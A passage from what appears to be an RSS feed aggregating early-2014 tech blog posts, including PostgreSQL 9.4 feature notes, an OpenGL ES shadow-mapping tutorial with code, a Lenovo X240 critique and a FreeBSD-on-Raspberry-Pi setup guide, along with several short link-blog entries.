&lt;li&gt;&lt;a href="https://postgres.heroku.com/blog/past/2012/12/6/postgres_92_now_available/#json_support"&gt;JSON Support&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://postgres.heroku.com/blog/past/2012/12/6/postgres_92_now_available/#range_type_support"&gt;Range types&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Huge performance improvements&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="highlights-of-93"&gt;
&lt;div&gt;
Highlights of 9.3
&lt;/div&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/2013/08/05/a-look-at-FDWs/"&gt;Postgres foreign data wrapper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://postgres.heroku.com/blog/past/2013/9/9/postgres_93_now_available/#materialized_views"&gt;Materialized views&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Checksums&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="on-to-94"&gt;
&lt;div&gt;
On to 9.4
&lt;/div&gt;
&lt;/h2&gt;
&lt;p&gt;With 9.4 instead of a simply list lets dive into a little deeper to the more noticable one.&lt;/p&gt;
&lt;h3 id="pg_prewarm"&gt;
&lt;div&gt;
pg_prewarm
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;ll lead with one that those who need it should see huge gains (read larger apps that have a read replica they eventually may fail over to). Pg_prewarm will pre-warm your cache by loading data into memory. You may be interested in running &lt;code&gt;pg_prewarm&lt;/code&gt; before bringing up a new Postgres DB or on a replica to keep it fresh.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Why it matters&lt;/em&gt; - If you have a read replica it won&amp;rsquo;t have the same cache as the leader. This can work great as you can send queries to it and it&amp;rsquo;ll optimize its own cache. However, if you&amp;rsquo;re using it as a failover when you do have to failover you&amp;rsquo;ll be running in a degraded mode while your cache warms up. Running &lt;code&gt;pg_pregwarm&lt;/code&gt; against it on a periodic basis will make the experience when you do failover a much better one.&lt;/p&gt;
&lt;h3 id="refresh-materialized-view-concurrently"&gt;
&lt;div&gt;
Refresh materialized view concurrently
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Materialized views just came into Postgres in 9.3. The problem with them is they were largely unusable. This was because they 1. Didn&amp;rsquo;t auto-refresh and 2. When you did refresh them it would lock the table while it ran the refresh making it unreadable during that time.&lt;/p&gt;
&lt;p&gt;Materialized views are often most helpful on large reporting tables that can take some time to generate. Often such a query can take 10-30 minutes or even more to run. If you&amp;rsquo;re unable to access said view during that time it greatly dampens their usefulness. Now running &lt;code&gt;REFRESH MATERIALIZED VIEW CONCURRENTLY foo&lt;/code&gt; will regenerate it in the background so long as you have a unique index for the view.&lt;/p&gt;
&lt;h3 id="ordered-set-aggregates"&gt;
&lt;div&gt;
Ordered Set Aggregates
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;I&amp;rsquo;m almost not really sure where to begin with this, the name itself almost makes me not want to take advantage. That said what this enables is if a few really awesome things you could do before that would require a few extra steps.&lt;/p&gt;
&lt;p&gt;While there&amp;rsquo;s plenty of aggregate functions in postgres getting something like percentile 95 or percentile 99 takes a little more effort. First you must order the entire set, then re-iterate over it to find the position you want. This is something I&amp;rsquo;ve commonly done by using a window function coupled with a CTE. Now its much easier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT percentile_disc(0.95)
WITHIN GROUP (ORDER BY response_time)
FROM pageviews;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In addition to varying percentile functions you can get quite a few others including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mode&lt;/li&gt;
&lt;li&gt;percentile_disc&lt;/li&gt;
&lt;li&gt;percentile_cont&lt;/li&gt;
&lt;li&gt;rank&lt;/li&gt;
&lt;li&gt;dense_rank&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="more-to-come"&gt;
&lt;div&gt;
More to come
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;As I mentiend earlier the commit fest is still ongoing this means some things are still in flight. Here&amp;rsquo;s a few that still offer some huge promise but haven&amp;rsquo;t been committed yet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Insert on duplicate key or better known as Upsert&lt;/li&gt;
&lt;li&gt;HStore 2 - various improvements to HStore&lt;/li&gt;
&lt;li&gt;JSONB - Binary format of JSON built on top of HStore&lt;/li&gt;
&lt;li&gt;Logical replication - this one looks like some pieces will make it, but not a wholey usable implementation.&lt;/li&gt;
&lt;/ul&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Sun, 02 Feb 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/02/02/Examining-PostgreSQL-9.4/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-114.html</link><description>&lt;p&gt;A few more of my favorite cabins alongside some great articles on related topics and stories. If you have any interest in checking out my previous collections, start &lt;a href="https://zacs.site/blog/cabin-porn-roundup.html"&gt;here&lt;/a&gt; at the beginning, then continue with &lt;a href="https://zacs.site/blog/cabin-porn-roundup-1113.html"&gt;November&lt;/a&gt; and &lt;a href="https://zacs.site/blog/cabin-porn-roundup-1213.html"&gt;December&amp;#8217;s&lt;/a&gt; lists. If not, read on.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 02 Feb 2014 22:00:28 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-114.html</guid></item><item><title>Experiment 13: Shadow mapping</title><link>https://whackylabs.com/opengl/2014/02/02/shadow-mapping/</link><description>&lt;p&gt;This article is part of the Experiments with OpenGL series&lt;/p&gt;

&lt;p&gt;The source code is available at https://github.com/chunkyguy/EWOGL&lt;/p&gt;

&lt;p&gt;Shadows add a great detail to the 3D scene. For instance, it’s really hard to judge how high the object really is above the floor without a shadow, or how far away is the light source from the object.&lt;/p&gt;

&lt;p&gt;Shadow mapping is one of the trick to create shadows for our geometry.&lt;/p&gt;

&lt;p&gt;The basic idea it to render the scene twice. First from the light’s point of view, and save the result in a texture. Next, render from the desired point of view and compare the result with the saved result. If the part of geometry being rendered falls under shadow region, don’t apply lighting to it.&lt;/p&gt;

&lt;p&gt;During setup routine, we need 2 framebuffers. One for each rendering pass. The first framebuffer needs to have a depth renderbuffer, and a texture attached to it. The second framebuffer is your usual framebuffer with color and depth.&lt;/p&gt;

&lt;p&gt;The first pass is very simple. Switch the point of view to the light’s view and just draw the scene as quick as possible to the framebuffer. You just need to pass the vertex positions and the model-view-projection matrix to take those positions from the object space to the clip space. The result is what some like to call as the Shadow map.&lt;/p&gt;

&lt;p&gt;The shadow map is just the 1-channel texture where blacker the color means, more close it is to the light. While whiter the color means the farther it is from light. And, a totally white color means, that part is not visible to the light.&lt;/p&gt;

&lt;p&gt;With black and white I’m assuming the depth range is from 0.0 to 1.0, which is the default range I guess.&lt;/p&gt;

&lt;p&gt;The second pass is also not very difficult. We just need a matrix that will take our vertex positions from object space to the clip space from the light’s view. Let’s call it the shadow matrix.&lt;/p&gt;

&lt;p&gt;Once, we have the shadow matrix, we just need to compare the compare between the z of stored depth map and the z of our vertex’s position.&lt;/p&gt;

&lt;p&gt;Creating of shadow matrix is also not very difficult. I calculate it like this:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;basisMat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                         &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                         &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                         &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;shadowMat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;basisMat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                  
                            &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;shadowProjection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  
                            &lt;span class="n"&gt;GLKMatrix4Multiply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;shadowView&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;mMat&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The basis matrix is just another way to move the range from [-1, 1] to [0, 1]. Or from depth coordinate system to texture coordinate system.&lt;/p&gt;

&lt;p&gt;This is how it can be calculated:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="nf"&gt;genShadowBasisMatrix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Identity&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  
  &lt;span class="cm"&gt;/* Step 2: scale by 1/2 
   * [0, 2] -&amp;gt; [0, 1]
   */&lt;/span&gt;
  &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Scale&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="cm"&gt;/* Step 1: Translate +1 
   * [-1, 1] -&amp;gt; [0, 2]
   */&lt;/span&gt;
  &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKMatrix4Translate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first run was pretty cool on the simulator, but not so good on the device.&lt;/p&gt;

&lt;p&gt;That is something I learned from my last experiment. To try out on the actual device as soon as possible.&lt;/p&gt;

&lt;p&gt;I tried playing around with many configurations, like using 32 bits for depth precision, using bilinear filtering with depth map texture, changing the depth range from 1.0 to 0.0 and many other I don’t even remember. I should say, changing the depth range from the default [0, 1] to [1, 0] was the best.&lt;/p&gt;

&lt;p&gt;If you’re working on something, where the shadows needs to be projected far away from the object. Like on a wall behind, try this in the first pass, while creating the depth map:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;glDepthRangef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt; &lt;span class="n"&gt;pass&lt;/span&gt; &lt;span class="n"&gt;don&lt;/span&gt;&lt;span class="err"&gt;’&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="n"&gt;forget&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;


&lt;span class="nf"&gt;glDepthRangef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course, you also need to update your shader code, so that the result 1.0 now means fail case while 0.0 means the pass case. Or you could even update the &lt;code class="language-plaintext highlighter-rouge"&gt;GL_TEXTURE_COMPARE_FUNC&lt;/code&gt; to &lt;code class="language-plaintext highlighter-rouge"&gt;GL_GREATER&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But, for majority cases where the shadow is attached to the geometry. The experiment’s code should work fine.&lt;/p&gt;

&lt;p&gt;Another bit of improvement, that can be added is using the PCF (Percentage Closer Filtering) method. It helps with the anti-aliasing at the shadow edges.&lt;/p&gt;

&lt;p&gt;The way PCF works is, we read the result from surrounding textures and average them.
Here’s an example of the improvement you can expect.&lt;/p&gt;

&lt;p&gt;Hosted by imgur.com&lt;/p&gt;

&lt;p&gt;Another shadow mapping method, that I would like to try in the future is with random sampling. Where instead of fixed offsets, we pick random samples around the fragment. I’ve heard this creates the soft shadow effect.&lt;/p&gt;

&lt;p&gt;Shadow mapping, is a field of many hit and trials. There doesn’t seems to be one solution fit all. There are so many parameters that can be configured in so many ways. Like, you can try with culling front face, or setting polygon offset to avoid z-fighting. In the end, you just need to find the solution that fits your current needs.&lt;/p&gt;

&lt;p&gt;The code right now only works for OpenGL ES3, as I was using many things available only to GLSL 3.00. But, since the trick is very trivial, I would in the future upgrade to code to work with OpenGL ES 2 as well. I see no reasons why it shouldn’t work.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 02 Feb 2014 19:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/opengl/2014/02/02/shadow-mapping/</guid></item><item><title>Scathing review of the Lenovo X240</title><link>https://purpleidea.com/blog/2014/02/02/scathing-review-of-the-lenovo-x240/</link><description>&lt;p&gt;I&amp;rsquo;m using a Lenovo X201 with 8GiB of RAM. Apart from some minor issues, I&amp;rsquo;ve been very satisfied with this laptop. It&amp;rsquo;s over four years old, and so I decided to see what&amp;rsquo;s available on the horizon. I &lt;em&gt;did not&lt;/em&gt; buy an X240 because of the following reasons:&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;The X240 has only &lt;strong&gt;one&lt;/strong&gt; slot for RAM and thus supports a &lt;em&gt;maximum&lt;/em&gt; of 8GiB.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I think it&amp;rsquo;s pretty ridiculous for any successor to the X230 to support less RAM. In and of itself this is a &lt;strong&gt;&lt;em&gt;deal breaker!&lt;/em&gt;&lt;/strong&gt; My X201 has 8GiB, and I wish it had more! It doesn&amp;rsquo;t make sense to settle for less on new kit. In other words, Lenovo is stating that &lt;a href="https://en.wikiquote.org/wiki/Bill_Gates"&gt;8GiB ought to be enough for anybody&lt;/a&gt;.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Sun, 02 Feb 2014 17:15:10 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/02/02/scathing-review-of-the-lenovo-x240/</guid></item><item><title>Getting stats for Play’s “Get involved” page</title><link>https://rd.nz/2014/02/getting-stats-for-plays-get-involved-page</link><author>Rich Dougherty</author><pubDate>Sun, 02 Feb 2014 12:54:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/02/getting-stats-for-plays-get-involved-page</guid></item><item><title>OWIN and System.Web.Optimizations</title><link>https://daniellittle.dev/post-post</link><description>I struck out to see if I could make use of the Microsoft ASP.NET Web Optimization Framework (version 1.1.2) in my self hosted OWIN Nancy…</description><author>Daniel Little Dev</author><pubDate>Sat, 01 Feb 2014 07:37:07 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/post-post</guid></item><item><title>The Descent to C</title><link>https://nicolaiarocci.com/the-descent-to-c/</link><description>&lt;p&gt;This is really worth you time if you’re looking to learn C language (you should).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This article attempts to give a sort of ‘orientation tour’ for people whose previous programming background is in high (ish) level languages such as Java or Python, and who now find that they need or want to learn C.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="http://www.chiark.greenend.org.uk/~sgtatham/cdescent/"&gt;The Descent to C&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Sat, 01 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/the-descent-to-c/</guid></item><item><title>Smart people play chess</title><link>https://nindalf.com/posts/smart-people-play-chess/</link><description>This article discusses the portrayal of chess in pop culture and whether intelligence is necessary to play the game well.</description><author>Krishna's blog</author><pubDate>Sat, 01 Feb 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nindalf.com/posts/smart-people-play-chess/</guid></item><item><title>Death by Papercut</title><link>https://zacs.site/blog/death-by-papercut.html</link><description>&lt;p&gt;After buying my first Mac a &lt;a href="https://zacs.site/blog/diary-of-a-convert.html"&gt;few&lt;/a&gt; months &lt;a href="https://zacs.site/blog/testing-the-apple-tax.html"&gt;ago&lt;/a&gt;, I soon grew quite fond of it as the most powerful computer I have owned to date. It zips through every task I can think to throw at it, and I can spend an entire day working without needing an outlet. Even better, it takes up so little space and ads such insignificant weight to my backpack that I regularly reach behind me just to make sure I didn&amp;#8217;t forget it somewhere. My 15" Retina MacBook Pro not only outclasses every one of my previous computers in raw processing power, I can confidently say that this device is the best I have ever owned. And then to sweeten the deal, Mavericks puts my past operating systems to shame. Especially coming from the current Windows world undergoing a forced devolution to Windows 8, I did not realize how relieved I would feel back in the traditional desktop computing paradigm ironically only present in OS X these days.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/death-by-papercut.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 31 Jan 2014 11:40:20 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/death-by-papercut.html</guid></item><item><title>The Face Detector</title><link>https://kyrofa.com/posts/the-face-detector/</link><description>Several years ago, I was new to my specific group at work. I was working on a combination of image processing and a GUI for keeping track of specific objects in the camera&amp;rsquo;s view. I started on the GUI first, writing a server that received object locations and handed them off to the GUI which displayed them in a nifty way. I was using Qt and QML, which I have used in numerous personal projects, so I was pretty familiar and confident with what I was doing.</description><author>kyrofa's blog</author><pubDate>Fri, 31 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/the-face-detector/</guid></item><item><title>Fixing a Ceph performance WTF</title><link>https://makedist.com/posts/2014/01/31/fixing-a-ceph-performance-wtf/</link><description>Tracking down and fixing a poorly performing Ceph application workload.</description><author>Noah Watkins</author><pubDate>Fri, 31 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/01/31/fixing-a-ceph-performance-wtf/</guid></item><item><title>FreeBSD on RaspBerry Pi</title><link>https://blog.nobugware.com/post/2014/01/30/freebsd-on-raspberry-pi/</link><description>FreeBSD images for arm are now built from the FreeBSD Foundation ! So it&amp;rsquo;s an easy process to get it on your Pi.
Download your image from the ftp repository
Insert a 4Gb or more SD card in your PC and copy the FreeBSD image into it, here are the commands for a Mac:
sudo diskutil list​ sudo diskutil unmountDisk /dev/disk1​ sudo dd if=/Users/akh/Downloads/FreeBSD-10.0-STABLE-arm- armv6-RPI-B-20140127-r261200.img of=/dev/rdisk1 bs=1m​ sudo diskutil eject /dev/disk1​ Boot your pi with the card and welcome to FreeBSD !</description><author>Fabrice Aneche</author><pubDate>Thu, 30 Jan 2014 23:37:20 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/01/30/freebsd-on-raspberry-pi/</guid></item><item><title>Bev on the Web</title><link>http://annieblog48.wordpress.com/2014/01/30/bev-on-the-web/</link><description>&lt;p&gt;Another great post I found during my WordPress escapade. Seems like she&amp;#8217;s coming back to writing for all the right reasons. Keep up the good work, Annie, and never stop improving.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://annieblog48.wordpress.com/2014/01/30/bev-on-the-web/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 30 Jan 2014 13:46:46 GMT</pubDate><guid isPermaLink="true">http://annieblog48.wordpress.com/2014/01/30/bev-on-the-web/</guid></item><item><title>The Tangents</title><link>http://teenchange.wordpress.com/2014/01/22/the-tangents/</link><description>&lt;p&gt;Having emptied my Instapaper queue last night and early this morning, I went back to my old stomping ground, WordPress, in search of some interesting articles on topics outside of Apple and, possibly, technology as well. I try to do this ever so often, looking to break the Apple-centric trend so many link blogs invariably fall in to these days. Today, pursuant of that goal, I found this great piece by a high school English teacher on tangents during lectures. I must confess, I have done my fair share or rejoicing when a teacher started going down a rabbit hole. Some have been more transparent than others in allowing themselves this diversion, but I invariably felt that I and my classmates had pulled on over on her. Ha! Anyway, I really enjoyed this short article, her writing style, and her approach to a topic of great interest to me, so I went ahead and subscribed. How about you? Go spend a few minutes looking for something outside the norm. You won&amp;#8217;t regret it, I promise.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://teenchange.wordpress.com/2014/01/22/the-tangents/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 30 Jan 2014 13:31:07 GMT</pubDate><guid isPermaLink="true">http://teenchange.wordpress.com/2014/01/22/the-tangents/</guid></item><item><title>Lessons Learned</title><link>https://zacs.site/blog/lessons-learned.html</link><description>&lt;p&gt;In 2012, Shawn Blanc marked the fifth anniversary of starting his site by publishing an article titled &lt;a href="http://shawnblanc.net/2012/07/50-things/"&gt;&lt;em&gt;50 Things I&amp;#8217;ve Learned About Publishing a Weblog&lt;/em&gt;&lt;/a&gt;. Filled with some of the best advice I have ever read on the subject, I return to this article every few months, gleaning just a little bit more each time. When I look back on the years since I started following Shawn, this piece stands out in my mind as his best work. And so, given how much I enjoyed his advice, I thought I would create my own list of lessons learned over the last few years of writing on the web.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/lessons-learned.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 30 Jan 2014 11:19:18 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/lessons-learned.html</guid></item><item><title>The End of Higher Education's Golden Age</title><link>http://www.shirky.com/weblog/2014/01/there-isnt-enough-money-to-keep-educating-adults-the-way-were-doing-it/</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;Our current difficulties are not the result of current problems. They are the bill coming due for 40 years of trying to preserve a set of practices that have outlived the economics that made them possible.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

